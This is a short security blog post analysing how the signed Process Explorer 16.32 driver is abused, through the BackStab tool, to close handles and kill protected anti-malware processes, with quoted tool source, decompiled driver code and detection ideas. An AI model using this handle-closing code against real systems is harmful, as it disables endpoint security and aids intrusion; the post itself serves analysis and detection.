[Misc Series #3] Vuln ProcExp 16.32

GhouLSec
4 min readMay 11, 2023

--

There is a blog on CheckPoint Research and Sophos mentioned about this vulnerable driver has been abused in various incident to terminate protected process especially anti-malware related process.

Here is the short note on the how does the driver able to terminate any process. To make things easier, I will just refer to the OSS project BackStab, protected process killer by Yaxser.

There is a driver function that is responsible to open a protected process handle and determine the level of protected process level which I didn’t cover in this case.

The binary will load a vulnerable PROCEXP driver (version 16.32) which is enable user to perform arbitrary file termination by sending a specific IO control code. One of the most important of part is that the vulnerable driver is a Microsoft signed driver which most of the anti-malware products will just ignore it if they didn’t revoke the signed cert in their database.

So far I’m just tested against a normal process notepad.exe. Based on the test in my own environment, there are some difference when it comes to the process termination via driver and a normal process termination.

For process termination via driver, there is an error spawned werfault.exe before the process exit event with exit status non-zero.

Here are the screenshots of the events captured by process monitor.

This is the normal flow of process termination for notepad.exe

Normal termination flow for notepad.exe

Meanwhile, this is the process termination flow of notepad.exe with BackStab.exe

Termination of notepad.exe via Backstab.exe

I’m guessing the reason for that werfault.exe was spawn because of force closing of the object handle that crash the process.

Based on the KillProcessHandles() source code in the project, it will loop through the SYSTEM_HANDLE_INFORMATION table and find out the process handle that matches PID of the targeted process. The matched process handle will pass into ProcExpKillHandle() as part of the struct PROCEXP_DATA_EXCHANGE

VOID KillProcessHandles(HANDLE hProcess) {

DWORD dwPID = GetProcessId(hProcess);
ULONG ulReturnLenght = 0;

//allocating memory for the SYSTEM_HANDLE_INFORMATION structure in the heap

PSYSTEM_HANDLE_INFORMATION handleTableInformation = GetHandleInformationTable();

for (ULONG i = 0; i < handleTableInformation->HandleCount; i++)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = handleTableInformation->Handles[i];

if (handleInfo.ProcessId == dwPID) //meaning that the handle is within our process of interest
{
/* Check if the process is already killed every 15 closed handles (otherwise we'll keep trying to close handles that are already closed) */
if (i % 15 == 0)
{
DWORD dwProcStatus = 0;
GetExitCodeProcess(hProcess, &dwProcStatus);
if (dwProcStatus != STILL_ACTIVE)
{
return;
}
}
ProcExpKillHandle(dwPID, handleInfo.Handle);
}
}
}

From ProcExpKillHandle(), a structure with type PROCEXP_DATA_EXCHANGE is created and it contains PID, handle and handle object address from the targeted process.

The data will be send to the kernel driver via DeviceIoControl() with IO control code IOCTL_CLOSE_HANDLE

Just in case, here is the source code for GetObjectAddressFromHandle()


BOOL ProcExpKillHandle(DWORD dwPID, ULONGLONG usHandle) {

PVOID lpObjectAddressToClose = NULL;
PROCEXP_DATA_EXCHANGE ctrl = { 0 };
BOOL bRet = FALSE;

/* find the object address */
lpObjectAddressToClose = GetObjectAddressFromHandle(dwPID, (USHORT)usHandle);

/* populate the data structure */
ctrl.ulPID = dwPID;
ctrl.ulSize = 0;
ctrl.ulHandle = usHandle;
ctrl.lpObjectAddress = lpObjectAddressToClose;

/* send the kill command */

bRet = DeviceIoControl(hProcExpDevice, IOCTL_CLOSE_HANDLE, (LPVOID)&ctrl, sizeof(PROCEXP_DATA_EXCHANGE), NULL,
0,
NULL,
NULL);

if (!bRet)
return Error("ProcExpKillHandle.DeviceIoControl");

return TRUE;
}

Inside the function that handles IOCTL_CLOSE_HANDLE, it will attach the process first and search for the handle object and terminate it via ObCloseHandle().

Only user mode handle will be close since both ObReferenceObjectByHandle() and ObCloseHandle() set the access mode to USER_MODE.

__int64 __fastcall IOCTL_CLOSE_HANDLE(PROCEXP_DATA_EXCHANGE *data_exchg)
{
__int64 result; // rax
__int64 USER_MODE_1; // r9
__int64 USER_MODE; // rdx
int v5; // edi
__int64 v6; // rcx
char ApcState[56]; // [rsp+30h] [rbp-38h] BYREF
__int64 EPROCESS; // [rsp+70h] [rbp+8h] BYREF
__int64 Object; // [rsp+78h] [rbp+10h] BYREF
char HandleInformation; // [rsp+80h] [rbp+18h] BYREF

result = PsLookupProcessByProcessId(LODWORD(data_exchg->ulPID), &EPROCESS);
if ( (int)result >= 0 )
{
KeStackAttachProcess(EPROCESS, ApcState); // Attach process
LOBYTE(USER_MODE_1) = 1;
v5 = ObReferenceObjectByHandle(data_exchg->lpObjectAddress, 0i64, 0i64, USER_MODE_1, &Object, &HandleInformation);// Get object handle of the process
if ( v5 >= 0 )
{
v6 = Object;
if ( Object == data_exchg->ulSize )
{
LOBYTE(USER_MODE) = 1;
ObCloseHandle(data_exchg->lpObjectAddress, USER_MODE);// Close the object handle
v6 = Object;
}
ObfDereferenceObject(v6); // Deallocate / Decrement reference count
}
KeUnstackDetachProcess(ApcState); // Detach process
ObfDereferenceObject(EPROCESS);
return (unsigned int)v5;
}
return result;
}

Remember that there is a loop in KillProcessHandles() to make sure all the handle object in the process will be removed in each iteration.

Screenshot below shows the example of the Handle objects in Handles tab of Process Hacker.

Each Handle is 4 bytes in size

Handle list of notepad.exe

Detection Ideas

Process creation of Wefault.exe followed with Process Exit event on any protected process.

Dropping of vulnerable PROCEXP driver (version 16.32) in common user folders.

References

--

--